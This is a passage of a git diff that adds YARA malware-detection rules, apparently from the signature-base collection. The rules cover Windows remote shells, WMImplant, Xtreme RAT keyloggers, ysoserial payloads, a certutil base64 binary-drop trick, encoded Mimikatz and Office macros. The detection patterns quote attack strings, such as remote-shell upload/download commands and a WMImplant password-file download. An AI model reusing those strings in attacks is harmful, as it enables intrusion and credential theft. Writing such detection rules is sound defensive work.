+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
+		id = "b4e783a2-4a93-5c72-9b09-4692b383ac00"
+	strings:
+		$s1 = "[ executing cmd.exe" fullword ascii
+		$s2 = "[ simple remote shell for windows v1" fullword ascii
+		$s3 = "-p <number>  Port number to use (default is 443)" fullword ascii
+		$s4 = "usage: s1 <address> [options]" fullword ascii
+		$s5 = "[ waiting for connections on %s" fullword ascii
+		$s6 = "-l           Listen for incoming connections" fullword ascii
+		$s7 = "[ connection from %s" fullword ascii
+		$s8 = "[ %c%c requires parameter" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and 2 of them ) or ( 5 of them )
+}
+
+rule WindowsShell_s4 {
+	meta:
+		description = "Detects simple Windows shell - file s4.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+		id = "838771dc-f885-5332-9813-2bc01af8e5fe"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
+		$s3 = "get <remote> <local> - download file" fullword ascii
+		$s4 = "[ simple remote shell for windows v4" fullword ascii
+		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s6 = "[ downloading \"%s\" to \"%s\"" fullword ascii
+		$s7 = "[ uploading \"%s\" to \"%s\"" fullword ascii
+		$s8 = "-l           Listen for incoming connections" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( 5 of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule WindowsShell_Gen {
+	meta:
+		description = "Detects simple Windows shell - from files keygen.exe, s1.exe, s2.exe, s3.exe, s4.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		super_rule = 1
+		hash1 = "a7c3d85eabac01e7a7ec914477ea9f17e3020b3b2f8584a46a98eb6a2a7611c5"
+		hash2 = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
+		hash3 = "df0693caae2e5914e63e9ee1a14c1e9506f13060faed67db5797c9e61f3907f0"
+		hash4 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		hash5 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+		id = "6b871e8a-8fe3-5cc6-9f2c-ba2359861ea1"
+	strings:
+		$s0 = "[ %c%c requires parameter" fullword ascii
+		$s1 = "[ %s : %i" fullword ascii
+		$s2 = "[ %s : %s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( all of them )
+}
+
+rule WindowsShell_Gen2 {
+	meta:
+		description = "Detects simple Windows shell - from files s3.exe, s4.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		super_rule = 1
+		hash1 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		hash2 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+		id = "8ed8443d-491b-5cb0-b12b-0d25267ba462"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "get <remote> <local> - download file" fullword ascii
+		$s3 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s4 = "put <local> <remote> - upload file" fullword ascii
+		$s5 = "term                 - terminate remote client" fullword ascii
+		$s6 = "[ uploading \"%s\" to \"%s\"" fullword ascii
+		$s7 = "[ error : received %i bytes" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( 5 of them )
+}
diff --git a/yara-Neo23x0/gen_wmi_implant.yar b/yara-Neo23x0/gen_wmi_implant.yar
new file mode 100644
index 0000000..bcd8cc5
--- /dev/null
+++ b/yara-Neo23x0/gen_wmi_implant.yar
@@ -0,0 +1,28 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-03-24
+   Identifier: WMImplant
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WMImplant {
+   meta:
+      description = "Auto-generated rule - file WMImplant.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html"
+      date = "2017-03-24"
+      hash1 = "860d7c237c2395b4f51b8c9bd0ee6cab06af38fff60ce3563d160d50c11d2f78"
+      id = "18dadc55-e12f-5c4c-9e11-27dc2d6c8dd2"
+   strings:
+      $x1 = "Invoke-ProcessPunisher -Creds $RemoteCredential" fullword ascii
+      $x2 = "$Target -query \"SELECT * FROM Win32_NTLogEvent WHERE (logfile='security')" ascii
+      $x3 = "WMImplant -Creds" fullword ascii
+      $x4 = "-Download -RemoteFile C:\\passwords.txt" ascii
+      $x5 = "-Command 'powershell.exe -command \"Enable-PSRemoting" fullword ascii
+      $x6 = "Invoke-WMImplant" fullword ascii
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/gen_xor_hunting.yar b/yara-Neo23x0/gen_xor_hunting.yar
new file mode 100644
index 0000000..4531846
--- /dev/null
+++ b/yara-Neo23x0/gen_xor_hunting.yar
@@ -0,0 +1,52 @@
+
+rule SUSP_XORed_Mozilla {
+   meta:
+      description = "Detects suspicious single byte XORed keyword 'Mozilla/5.0' - it uses yara's XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key."
+      author = "Florian Roth"
+      reference = "https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force()"
+      date = "2019-10-28"
+      modified = "2023-11-25"
+      score = 65
+      id = "af7fc551-0d4e-589e-9152-95d9c4ab03bf"
+   strings:
+      $xo1 = "Mozilla/5.0" xor(0x01-0xff) ascii wide
+
+      $fp1 = "Sentinel Labs" wide
+      $fp2 = "<filter object at" ascii /* Norton Security */
+   condition:
+      $xo1
+      and not 1 of ($fp*)
+      and not uint32(0) == 0x434d5953 // Symantec AV sigs file
+}
+
+rule SUSP_XORed_MSDOS_Stub_Message {
+   meta:
+      description = "Detects suspicious XORed MSDOS stub message"
+      author = "Florian Roth"
+      reference = "https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings"
+      date = "2019-10-28"
+      modified = "2023-10-11"
+      score = 55
+      id = "9ab52434-9162-5fd5-bf34-8b163f6aeec4"
+   strings:
+      $xo1 = "This program cannot be run in DOS mode" xor(0x01-0xff) ascii wide
+      $xo2 = "This program must be run under Win32" xor(0x01-0xff) ascii wide
+
+      $fp1 = "AVAST Software" fullword wide ascii
+      $fp2 = "AVG Netherlands" fullword wide ascii
+      $fp3 = "AVG Technologies" ascii wide
+      $fp4 = "Malicious Software Removal Tool" wide
+      $fp5 = "McAfee Labs" fullword ascii wide
+      $fp6 = "Kaspersky Lab" fullword ascii wide
+      $fp7 = "<propertiesmap>" ascii wide  /* KasperSky Lab XML profiles */
+      $fp10 = "Avira Engine Module" wide /* Program Files (x86)/Avira/Antivirus/aeheur.dll */
+      $fp11 = "syntevo GmbH" wide fullword /* Program Files (x86)/DeepGit/bin/deepgit64.exe */
+      $fp13 = "SophosClean" ascii /* ProgramData/Sophos/Update Manager/Update Manager/Warehouse/4d7da8cfbfbb16664dac79e78273a1e8x000.dat */
+      $fp14 = "SophosHomeClean" wide
+   condition:
+      1 of ($x*)
+      and not 1 of ($fp*)
+      and not uint16(0) == 0xb0b0 // AV sigs file
+      and not uint16(0) == 0x5953 // AV sigs file
+}
+
diff --git a/yara-Neo23x0/gen_xored_pe.yar b/yara-Neo23x0/gen_xored_pe.yar
new file mode 100644
index 0000000..2981532
--- /dev/null
+++ b/yara-Neo23x0/gen_xored_pe.yar
@@ -0,0 +1,28 @@
+
+rule SUSP_Two_Byte_XOR_PE_And_MZ {
+  meta:
+    author = "Wesley Shields <wxs@atarininja.org>"
+    description = "Look for 2 byte xor of a PE starting at offset 0"
+    reference = "https://gist.github.com/wxsBSD/bf7b88b27e9f879016b5ce2c778d3e83"
+    score = 70
+    date = "2021-10-11"
+    id = "ddb87194-bafb-597d-9184-fe4fe3c5ce8d"
+  condition:
+    uint16(0) != 0x5a4d and
+    uint32((uint16(0x3c) ^ (uint16(0) ^ 0x5a4d)) | ((uint16(0x3e) ^ (uint16(0) ^ 0x5a4d)) << 16)) ^ ((uint16(0) ^ 0x5a4d) | ((uint16(0) ^ 0x5a4d) << 16)) == 0x00004550
+}
+
+rule SUSP_Four_Byte_XOR_PE_And_MZ {
+  meta:
+    author = "Wesley Shields <wxs@atarininja.org>"
+    description = "Look for 4 byte xor of a PE starting at offset 0"
+    reference = "https://gist.github.com/wxsBSD/bf7b88b27e9f879016b5ce2c778d3e83"
+    score = 70
+    date = "2021-10-11"
+    id = "d7b4b462-dfde-5d1f-8039-63522436c15f"
+  condition:
+    uint16(0) != 0x5a4d and
+    uint32(0x28) != 0x00000000 and
+    uint32(0x28) == uint32(0x2c) and
+    uint32(uint32(0x3c) ^ uint32(0x28)) ^ uint32(0x28) == 0x00004550
+}
diff --git a/yara-Neo23x0/gen_xtreme_rat.yar b/yara-Neo23x0/gen_xtreme_rat.yar
new file mode 100644
index 0000000..6279ce0
--- /dev/null
+++ b/yara-Neo23x0/gen_xtreme_rat.yar
@@ -0,0 +1,86 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-27
+   Identifier: Xtreme / XRat
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Xtreme_Sep17_1 {
+   meta:
+      description = "Detects XTREME sample analyzed in September 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-09-27"
+      hash1 = "93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6"
+      id = "7517e237-9cad-5619-9028-4c7ab5463040"
+   strings:
+      $x1 = "ServerKeyloggerU" fullword ascii
+      $x2 = "TServerKeylogger" fullword ascii
+      $x3 = "XtremeKeylogger" fullword wide
+      $x4 = "XTREMEBINDER" fullword wide
+
+      $s1 = "shellexecute=" fullword wide
+      $s2 = "[Execute]" fullword wide
+      $s3 = ";open=RECYCLER\\S-1-5-21-1482476501-3352491937-682996330-1013\\" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 4000KB and (
+         pe.imphash() == "735af2a144f62c50ba8e89c1c59764eb" or
+         ( 1 of ($x*) or 3 of them )
+      )
+}
+
+rule Xtreme_Sep17_2 {
+   meta:
+      description = "Detects XTREME sample analyzed in September 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-09-27"
+      hash1 = "f8413827c52a5b073bdff657d6a277fdbfda29d909b4247982f6973424fa2dcc"
+      id = "b4878e80-54dc-5a16-9129-ddf2b1a5d287"
+   strings:
+      $s1 = "Spy24.exe" fullword wide
+      $s2 = "Remote Service Application" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 3000KB and all of them )
+}
+
+rule Xtreme_Sep17_3 {
+   meta:
+      description = "Detects XTREME sample analyzed in September 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-09-27"
+      hash1 = "f540a4cac716438da0c1c7b31661abf35136ea69b963e8f16846b96f8fd63dde"
+      id = "160673ea-b263-520a-a1c1-da0f3e920f12"
+   strings:
+      $s2 = "Keylogg" fullword ascii
+      $s4 = "XTREME" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 700KB and all of them )
+}
+
+rule Xtreme_RAT_Gen_Imp {
+   meta:
+      description = "Detects XTREME sample analyzed in September 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-09-27"
+      hash1 = "7b5082bcc8487bb65c38e34c192c2a891e7bb86ba97281352b0837debee6f1cf"
+      id = "10b23099-2a87-5918-927b-f20bcba1cd70"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+         pe.imphash() == "d0bdf112886f3d846cc7780967d8efb9" or
+         pe.imphash() == "cc6f630f214cf890e63e899d8ebabba6" or
+         pe.imphash() == "e0f7991d50ceee521d7190effa3c494e"
+      )
+}
diff --git a/yara-Neo23x0/gen_ysoserial_payloads.yar b/yara-Neo23x0/gen_ysoserial_payloads.yar
new file mode 100644
index 0000000..1c59a43
--- /dev/null
+++ b/yara-Neo23x0/gen_ysoserial_payloads.yar
@@ -0,0 +1,113 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-04
+   Identifier: ysoserial payloads
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Ysoserial_Payload_MozillaRhino1 {
+   meta:
+      description = "Ysoserial Payloads - file MozillaRhino1.bin"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/frohoff/ysoserial"
+      date = "2017-02-04"
+      hash1 = "0143fee12fea5118be6dcbb862d8ba639790b7505eac00a9f1028481f874baa8"
+      id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
+   strings:
+      $s3 = "ysoserial.payloads" fullword ascii
+   condition:
+      ( uint16(0) == 0xedac and filesize < 40KB and all of them )
+}
+
+rule Ysoserial_Payload_C3P0 {
+   meta:
+      description = "Ysoserial Payloads - file C3P0.bin"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/frohoff/ysoserial"
+      date = "2017-02-04"
+      hash1 = "9932108d65e26d309bf7d97d389bc683e52e91eb68d0b1c8adfe318a4ec6e58b"
+      id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
+   strings:
+      $x1 = "exploitppppw" fullword ascii
+   condition:
+      ( uint16(0) == 0xedac and filesize < 3KB and all of them )
+}
+
+rule Ysoserial_Payload_Spring1 {
+   meta:
+      description = "Ysoserial Payloads - file Spring1.bin"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/frohoff/ysoserial"
+      date = "2017-02-04"
+      hash1 = "bf9b5f35bc1556d277853b71da24faf23cf9964d77245018a0fdf3359f3b1703"
+      hash2 = "9c0be107d93096066e82a5404eb6829b1daa6aaa1a7b43bcda3ddac567ce715a"
+      hash3 = "8cfa85c16d37fb2c38f277f39cafb6f0c0bd7ee62b14d53ad1dd9cb3f4b25dd8"
+      hash4 = "5c44482350f1c6d68749c8dec167660ca6427999c37bfebaa54f677345cdf63c"
+      hash5 = "95f966f2e8c5d0bcdfb34e603e3c0b911fa31fc960308e41fcd4459e4e07b4d1"
+      hash6 = "1da04d838141c64711d87695a4cdb4eedfd4a206cc80922a41cfc82df8e24187"
+      hash7 = "adf895fa95526c9ce48ec33297156dd69c3dbcdd2432000e61b2dd34ffc167c7"
+      id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
+   strings:
+      $x1 = "ysoserial/Pwner" ascii
+   condition:
+      1 of them
+}
+
+rule Ysoserial_Payload {
+   meta:
+      description = "Ysoserial Payloads"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/frohoff/ysoserial"
+      date = "2017-02-04"
+      super_rule = 1
+      hash1 = "9c0be107d93096066e82a5404eb6829b1daa6aaa1a7b43bcda3ddac567ce715a"
+      hash2 = "adf895fa95526c9ce48ec33297156dd69c3dbcdd2432000e61b2dd34ffc167c7"
+      hash3 = "1da04d838141c64711d87695a4cdb4eedfd4a206cc80922a41cfc82df8e24187"
+      hash4 = "5c44482350f1c6d68749c8dec167660ca6427999c37bfebaa54f677345cdf63c"
+      hash5 = "747ba6c6d88470e4d7c36107dfdff235f0ed492046c7ec8a8720d169f6d271f4"
+      hash6 = "f0d2f1095da0164c03a0e801bd50f2f06793fb77938e53b14b57fd690d036929"
+      hash7 = "5466d47363e11cd1852807b57d26a828728b9d5a0389214181b966bd0d8d7e56"
+      hash8 = "95f966f2e8c5d0bcdfb34e603e3c0b911fa31fc960308e41fcd4459e4e07b4d1"
+      hash9 = "1fea8b54bb92249203d68d5564a01599b42b46fc3a828fe0423616ee2a2f2d99"
+      hash10 = "0143fee12fea5118be6dcbb862d8ba639790b7505eac00a9f1028481f874baa8"
+      hash11 = "8cfa85c16d37fb2c38f277f39cafb6f0c0bd7ee62b14d53ad1dd9cb3f4b25dd8"
+      hash12 = "bf9b5f35bc1556d277853b71da24faf23cf9964d77245018a0fdf3359f3b1703"
+      hash13 = "f756c88763d48cb8d99e26b4773eb03814d0bd9bd467cc743ebb1479b2c4073e"
+      id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
+   strings:
+      $x1 = "ysoserial/payloads/" ascii
+
+      $s1 = "StubTransletPayload" fullword ascii
+      $s2 = "Pwnrpw" fullword ascii
+   condition:
+      ( uint16(0) == 0xedac and filesize < 40KB and $x1 ) or ( all of them )
+}
+
+rule Ysoserial_Payload_3 {
+   meta:
+      description = "Ysoserial Payloads - from files JavassistWeld1.bin, JBossInterceptors.bin"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/frohoff/ysoserial"
+      date = "2017-02-04"
+      super_rule = 1
+      hash1 = "f0d2f1095da0164c03a0e801bd50f2f06793fb77938e53b14b57fd690d036929"
+      hash2 = "5466d47363e11cd1852807b57d26a828728b9d5a0389214181b966bd0d8d7e56"
+      id = "7fb67f48-66dc-57a4-9075-49b2277fa186"
+   strings:
+      $x1 = "ysoserialq" fullword ascii
+
+      $s1 = "targetClassInterceptorMetadatat" fullword ascii
+      $s2 = "targetInstancet" fullword ascii
+      $s3 = "targetClassL" fullword ascii
+      $s4 = "POST_ACTIVATEsr" fullword ascii
+      $s5 = "PRE_DESTROYsq" fullword ascii
+   condition:
+      ( uint16(0) == 0xedac and filesize < 10KB and $x1 ) or ( all of them )
+}
diff --git a/yara-Neo23x0/gen_zoho_rcef_logs.yar b/yara-Neo23x0/gen_zoho_rcef_logs.yar
new file mode 100644
index 0000000..bb398fc
--- /dev/null
+++ b/yara-Neo23x0/gen_zoho_rcef_logs.yar
@@ -0,0 +1,27 @@
+
+rule EXPL_Zoho_RCE_Fix_Lines_Dec21_1 {
+   meta:
+      description = "Detects lines in log lines of Zoho products that indicate RCE fixes (silent removal of evidence)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cyb3rops/status/1467784104930385923"
+      date = "2021-12-06"
+      score = 65
+      id = "633287e3-a377-5b3c-8520-a7790168eff5"
+   strings:
+      // we look for the RCE Fixes
+      $s1 = "RCEF="
+
+      // we try to find a line which states that the attack is active (compromised host)
+      $sa1 = "\"attackStatus\"\\:\"active\""
+      $sa2 = "\"attackStatus\":\"active\""
+
+      // we try to find a line in which the RCE fix deleted a file (compromised host)
+      $sd1 = "deletedCount"
+      $sd_fp1 = "\"deletedCount\"\\:0"
+      $sd_fp2 = "\"deletedCount\":0"
+   condition:
+      filesize < 6MB and $s1 and (
+         1 of ($sa*) or 
+         ( $sd1 and not 1 of ($sd_fp*) )
+      )
+}
diff --git a/yara-Neo23x0/general_cloaking.yar b/yara-Neo23x0/general_cloaking.yar
new file mode 100644
index 0000000..1c52de4
--- /dev/null
+++ b/yara-Neo23x0/general_cloaking.yar
@@ -0,0 +1,153 @@
+/*
+
+   Generic Cloaking
+
+   Florian Roth
+   Nextron Systems GmbH
+
+	License: Detetction Rule License 1.1 (https://github.com/SigmaHQ/sigma/blob/master/LICENSE.Detection.Rules.md)
+
+*/
+
+rule EXE_cloaked_as_TXT {
+	meta:
+		description = "Executable with TXT extension"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2188c0fe-71b0-5dee-bde9-f310c66e39c6"
+	condition:
+		uint16(0) == 0x5a4d 					// Executable
+		and filename matches /\.txt$/is   // TXT extension (case insensitive)
+}
+
+rule EXE_extension_cloaking {
+	meta:
+		description = "Executable showing different extension (Windows default 'hide known extension')"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		id = "78da6129-a11d-5e9e-8eaf-2a18178b7278"
+	condition:
+		filename matches /\.txt\.exe$/is or	// Special file extensions
+		filename matches /\.pdf\.exe$/is		// Special file extensions
+}
+
+rule Cloaked_RAR_File {
+	meta:
+		description = "RAR file cloaked by a different extension"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a3a9ad40-8a39-513d-be95-73f5a909265e"
+	condition:
+		uint32be(0) == 0x52617221							// RAR File Magic Header
+		and not filename matches /(rarnew.dat|\.rar)$/is	// not the .RAR extension
+		and not filename matches /\.[rR][\d]{2}$/           // split RAR file
+		and not filepath contains "Recycle" 				// not a deleted RAR file in recycler
+}
+
+rule Base64_encoded_Executable : FILE {
+	meta:
+		description = "Detects an base64 encoded executable (often embedded)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-05-28"
+		score = 40
+		id = "0bfc5916-3e63-5601-9f14-65f848c9322b"
+	strings:
+		$s1 = "TVpTAQEAAAAEAAAA//8AALgAAAA" // 14 samples in goodware archive
+		$s2 = "TVoAAAAAAAAAAAAAAAAAAAAAAAA" // 26 samples in goodware archive
+		$s3 = "TVqAAAEAAAAEABAAAAAAAAAAAAA" // 75 samples in goodware archive
+		$s4 = "TVpQAAIAAAAEAA8A//8AALgAAAA" // 168 samples in goodware archive
+		$s5 = "TVqQAAMAAAAEAAAA//8AALgAAAA" // 28,529 samples in goodware archive
+	condition:
+		1 of them
+		and not filepath contains "Thunderbird"
+      and not filepath contains "Internet Explorer"
+      and not filepath contains "Chrome"
+      and not filepath contains "Opera"
+      and not filepath contains "Outlook"
+      and not filepath contains "Temporary Internet Files"
+}
+
+rule Gen_Base64_EXE: HIGHVOL {
+   meta:
+      description = "Detects Base64 encoded Executable in Executable"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-04-21"
+      id = "ef919a63-9a29-5624-a084-b92e3578e3a6"
+   strings:
+      $s1 = "TVpTAQEAAAAEAAAA//8AALgAAAA" wide ascii // 14 samples
+      $s2 = "TVoAAAAAAAAAAAAAAAAAAAAAAAA" wide ascii // 26 samples
+      $s3 = "TVqAAAEAAAAEABAAAAAAAAAAAAA" wide ascii // 75 samples
+      $s4 = "TVpQAAIAAAAEAA8A//8AALgAAAA" wide ascii // 168 samples
+      $s5 = "TVqQAAMAAAAEAAAA//8AALgAAAA" wide ascii // 28,529 samples
+
+      $fp1 = "BAM Management class library"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 5000KB and 1 of ($s*)
+      and not 1 of ($fp*)
+}
+
+rule Binary_Drop_Certutil {
+	meta:
+		description = "Drop binary as base64 encoded cert trick"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/9DNn8q"
+		date = "2015-07-15"
+		score = 70
+		id = "19791e51-d041-524d-80fa-9f3ec54eb084"
+	strings:
+		$s0 = "echo -----BEGIN CERTIFICATE----- >" ascii
+		$s1 = "echo -----END CERTIFICATE----- >>" ascii
+		$s2 = "certutil -decode " ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule StegoKatz {
+	meta:
+		description = "Encoded Mimikatz in other file types"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/jWPBBY"
+		date = "2015-09-11"
+		score = 70
+		id = "78868bb0-af69-573d-afd2-350a46f69137"
+	strings:
+		$s1 = "VC92Ny9TSXZMNk5jLy8vOUlqUTFVRlFNQTZMLysvdjlJaTh2L0ZUNXJBUUJJaTFRa1NFaUx6K2hWSS8vL1NJME44bklCQU9pZC92Ny9USTJjSkpBQUFBQXp3RW1MV3hCSmkyc1lTWXR6S0VtTDQxL0R6TXhNaTl4SmlWc0lUWWxMSUUySlF4aFZWbGRCVkVGVlFWWkJWMGlCN1BBQUFBQklnMlFrYUFDNE1BQUFBRW1MNkVTTmNPQ0pSQ1JnaVVRa1pFbU5RN0JKaTlsTWpRWFBGQU1BU0ls" ascii
+		$s2 = "Rpd3ovN3FlalVtNklLQ0xNNGtOV1BiY0VOVHROT0Zud25CWGN0WS9BcEdMR28rK01OWm85Nm9xMlNnY1U5aTgrSTBvNkFob1FOTzRHQWdtUElEVmlqald0Tk90b2FmN01ESWJUQkF5T0pYbTB4bFVHRTBZWEFWOXVoNHBkQnRrS0VFWWVBSEE2TDFzU0c5a2ZFTEc3QWd4WTBYY1l3ZzB6QUFXS09JZE9wQVhEK3lnS3lsR3B5Q1ljR1NJdFNseGZKWUlVVkNFdEZPVjRJUldERUl1QXpKZ2pCQWdsd0Va" ascii
+	condition:
+		filesize < 1000KB and 1 of them
+}
+
+rule Obfuscated_VBS_April17 {
+   meta:
+      description = "Detects cloaked Mimikatz in VBS obfuscation"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-04-21"
+      id = "ca60b885-bb56-55ee-a2b3-dea6958883c2"
+   strings:
+      $s1 = "::::::ExecuteGlobal unescape(unescape(" ascii
+   condition:
+      filesize < 500KB and all of them
+}
+
+rule Obfuscated_JS_April17 {
+   meta:
+      description = "Detects cloaked Mimikatz in JS obfuscation"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-04-21"
+      id = "44abd2c0-5f8d-5a8c-b282-a09853e12054"
+   strings:
+      $s1 = "\";function Main(){for(var "  ascii
+      $s2 = "=String.fromCharCode(parseInt(" ascii
+      $s3 = "));(new Function(" ascii
+   condition:
+      filesize < 500KB and all of them
+}
diff --git a/yara-Neo23x0/general_officemacros.yar b/yara-Neo23x0/general_officemacros.yar
new file mode 100644
index 0000000..c37049c
--- /dev/null
+++ b/yara-Neo23x0/general_officemacros.yar
@@ -0,0 +1,66 @@
+
+rule Office_AutoOpen_Macro {
+	meta:
+		description = "Detects an Microsoft Office file that contains the AutoOpen Macro function"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-05-28"
+		score = 40
+		hash1 = "4d00695d5011427efc33c9722c61ced2"
+		hash2 = "63f6b20cb39630b13c14823874bd3743"
+		hash3 = "66e67c2d84af85a569a04042141164e6"
+		hash4 = "a3035716fe9173703941876c2bde9d98"
+		hash5 = "7c06cab49b9332962625b16f15708345"
+		hash6 = "bfc30332b7b91572bfe712b656ea8a0c"
+		hash7 = "25285b8fe2c41bd54079c92c1b761381"
+		id = "9774d96c-4d15-5a54-8fe2-e06372d9c4ec"
+	strings:
+		$s1 = "AutoOpen" ascii fullword
+		$s2 = "Macros" wide fullword
+	condition:
+		(
+			uint32be(0) == 0xd0cf11e0 or 	// DOC, PPT, XLS
+			uint32be(0) == 0x504b0304		// DOCX, PPTX, XLSX (PKZIP)
+		)
+		and all of ($s*) and filesize < 300000
+}
+
+rule Office_as_MHTML {
+	meta:
+		description = "Detects an Microsoft Office saved as a MHTML file (false positives are possible but rare; many matches on CVE-2012-0158)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-05-28"
+		score = 40
+		reference = "https://www.trustwave.com/Resources/SpiderLabs-Blog/Malicious-Macros-Evades-Detection-by-Using-Unusual-File-Format/"
+		hash1 = "8391d6992bc037a891d2e91fd474b91bd821fe6cb9cfc62d1ee9a013b18eca80"
+		hash2 = "1ff3573fe995f35e70597c75d163bdd9bed86e2238867b328ccca2a5906c4eef"
+		hash3 = "d44a76120a505a9655f0224c6660932120ef2b72fee4642bab62ede136499590"
